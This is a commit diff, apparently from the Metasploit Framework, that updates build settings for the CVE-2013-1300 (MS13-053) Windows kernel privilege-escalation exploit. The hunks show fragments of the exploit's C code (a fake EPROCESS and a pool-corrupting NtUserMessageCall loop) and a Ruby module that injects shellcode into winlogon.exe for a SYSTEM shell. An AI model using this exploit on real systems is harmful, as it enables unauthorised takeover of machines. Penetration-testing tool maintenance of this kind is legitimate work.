Skip to content

Commit 8126fd1

Browse files
committed
Merge pull request #1 from OJ/schlamperei
Bring build tools up to date, change some project settings
2 parents 4172042 + 4097873 commit 8126fd1

5 files changed

Lines changed: 44 additions & 26 deletions

File tree

70.5 KB
Binary file not shown.

external/source/exploits/cve-2013-1300/cve-2013-1300.sln

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,9 @@
11

2-
Microsoft Visual Studio Solution File, Format Version 11.00
3-
# Visual Studio 2010
4-
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2013-1300", "cve-2013-1300\cve-2013-1300.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}"
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio 2013
4+
VisualStudioVersion = 12.0.21005.1
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "schlamperei", "schlamperei\schlamperei.vcxproj", "{C093C490-61BF-433E-AEB4-80753B20DEC7}"
57
EndProject
68
Global
79
GlobalSection(SolutionConfigurationPlatforms) = preSolution

external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.cpp renamed to external/source/exploits/cve-2013-1300/schlamperei/schlamperei.c

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,9 @@
1-
/* dllmain.cpp.cpp
2-
* Exploit for CVE-2013-1300 aka ms13-053
3-
* Tested on Windows 7 32-bit
4-
*
5-
* used in pwn2own 2013 to break out of chrome's sandbox
6-
*
7-
* found and exploited by nils and jon of @mwrlabs
1+
/*!
2+
* @file dllmain.cpp
3+
* @brief Exploit for CVE-2013-1300 aka ms13-053
4+
* @detail Tested on Windows 7 32-bit.
5+
* Used in pwn2own 2013 to break out of chrome's sandbox.
6+
* Found and exploited by nils and jon of @mwrlabs.
87
*/
98

109
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
@@ -27,6 +26,8 @@ typedef NTSTATUS *PNTSTATUS;
2726

2827
#define TABLE_BASE 0xff910000
2928

29+
#define EXPLOIT_MSG 0xd
30+
3031
// global variables FTW
3132
HWND gHwnd = 0x0;
3233
unsigned int gEPROCESS = 0x0;
@@ -132,7 +133,7 @@ BOOL AllocFakeEProcess(DWORD address) {
132133

133134
addr += 0x10000;
134135
}
135-
if(res!=0) return false;
136+
if(res!=0) return FALSE;
136137
memset((void*)addr, 0xab, 0x4000);
137138
UINT *eprocess = (UINT*)addr+o;
138139
UINT *before = (UINT*)addr;
@@ -152,11 +153,11 @@ BOOL AllocFakeEProcess(DWORD address) {
152153
//for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x);
153154
//second[0x20] = 0x2;
154155
//second[0x30] = 0x1;
155-
return true;
156+
return TRUE;
156157
}
157158

158159
DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
159-
if(msg == 0xd) {
160+
if(msg == EXPLOIT_MSG) {
160161
// triggering the exploit through WM_GETTEXT
161162
// printf("[-] WM_GETTEXT message\n");
162163
unsigned char payload[] = "ABCDE ";
@@ -257,7 +258,7 @@ int Schlamperei(LPVOID shellcode)
257258
// so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer
258259
unsigned char *buf = (unsigned char *)malloc(16);
259260
for(int i=0; i<0x40; i++) {
260-
NtUserMessageCall(gHwnd, 0xd, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
261+
NtUserMessageCall(gHwnd, EXPLOIT_MSG, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
261262
}
262263

263264
SendMessage(wnd, 0x401, addressofwnd, 0x0);
@@ -277,7 +278,6 @@ BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
277278
}
278279
break;
279280
case DLL_PROCESS_ATTACH:
280-
hAppInstance = hinstDLL;
281281
Schlamperei(lpReserved);
282282
break;
283283
case DLL_PROCESS_DETACH:

external/source/exploits/cve-2013-1300/cve-2013-1300/cve-2013-1300.vcxproj renamed to external/source/exploits/cve-2013-1300/schlamperei/schlamperei.vcxproj

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
<?xml version="1.0" encoding="utf-8"?>
2-
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
33
<ItemGroup Label="ProjectConfigurations">
44
<ProjectConfiguration Include="Debug|Win32">
55
<Configuration>Debug</Configuration>
@@ -13,19 +13,21 @@
1313
<PropertyGroup Label="Globals">
1414
<ProjectGuid>{C093C490-61BF-433E-AEB4-80753B20DEC7}</ProjectGuid>
1515
<Keyword>Win32Proj</Keyword>
16-
<RootNamespace>Schlamperei_DLL</RootNamespace>
16+
<ProjectName>schlamperei</ProjectName>
1717
</PropertyGroup>
1818
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
1919
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
2020
<ConfigurationType>DynamicLibrary</ConfigurationType>
2121
<UseDebugLibraries>true</UseDebugLibraries>
2222
<CharacterSet>Unicode</CharacterSet>
23+
<PlatformToolset>v120</PlatformToolset>
2324
</PropertyGroup>
2425
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
2526
<ConfigurationType>DynamicLibrary</ConfigurationType>
2627
<UseDebugLibraries>false</UseDebugLibraries>
2728
<WholeProgramOptimization>true</WholeProgramOptimization>
2829
<CharacterSet>Unicode</CharacterSet>
30+
<PlatformToolset>v120</PlatformToolset>
2931
</PropertyGroup>
3032
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
3133
<ImportGroup Label="ExtensionSettings">
@@ -40,10 +42,16 @@
4042
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
4143
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
4244
<LinkIncremental>false</LinkIncremental>
45+
<OutDir>$(Configuration)\$(Platform)\</OutDir>
46+
<IntDir>$(Configuration)\$(Platform)\</IntDir>
47+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
4348
</PropertyGroup>
4449
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
4550
<IncludePath>../../../ReflectiveDLLInjection/common;$(IncludePath)</IncludePath>
4651
<LinkIncremental>false</LinkIncremental>
52+
<OutDir>$(Configuration)\$(Platform)\</OutDir>
53+
<IntDir>$(Configuration)\$(Platform)\</IntDir>
54+
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
4755
</PropertyGroup>
4856
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
4957
<ClCompile>
@@ -73,9 +81,16 @@
7381
<EnableCOMDATFolding>true</EnableCOMDATFolding>
7482
<OptimizeReferences>true</OptimizeReferences>
7583
</Link>
84+
<PostBuildEvent>
85+
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
86+
IF EXIST "..\..\..\..\..\data\exploits\cve-2013-1300\" GOTO COPY
87+
mkdir "..\..\..\..\..\data\exploits\cve-2013-1300\"
88+
:COPY
89+
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\cve-2013-1300\"</Command>
90+
</PostBuildEvent>
7691
</ItemDefinitionGroup>
7792
<ItemGroup>
78-
<ClCompile Include="cve-2013-1300.cpp">
93+
<ClCompile Include="schlamperei.c">
7994
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
8095
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
8196
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>

modules/exploits/windows/local/ms13_053_schlamperei.rb

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ def initialize(info={})
2424
The kernel shellcode nulls the ACL for the winlogon.exe process (a SYSTEM process).
2525
This allows any unprivileged process to freely migrate to winlogon.exe, achieving
2626
privilege escalation. Used in pwn2own 2013 by MWR to break out of chrome's sandbox.
27-
NOTE: when you exit the meterpreter session, winlogon.exe is lickely to crash.
27+
NOTE: when you exit the meterpreter session, winlogon.exe is likely to crash.
2828
},
2929
'License' => MSF_LICENSE,
3030
'Author' =>
@@ -111,7 +111,7 @@ def exploit
111111
end
112112

113113
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
114-
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "cve-2013-1300.dll")
114+
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll")
115115
library_path = ::File.expand_path(library_path)
116116

117117
print_status("Injecting exploit into #{process.pid}...")
@@ -120,16 +120,17 @@ def exploit
120120
thread = process.thread.create(exploit_mem + offset)
121121
client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)
122122

123-
124123
client.sys.process.each_process do |p|
125124
if p['name'] == "winlogon.exe"
126125
winlogon_pid = p['pid']
127126
print_status("Found winlogon.exe with PID #{winlogon_pid}")
128-
if execute_shellcode(payload.encoded, nil, winlogon_pid)
129-
print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
130-
else
131-
print_error("Failed to start payload thread")
127+
128+
if execute_shellcode(payload.encoded, nil, winlogon_pid)
129+
print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
130+
else
131+
print_error("Failed to start payload thread")
132132
end
133+
133134
break
134135
end
135136
end

0 commit comments

Comments
 (0)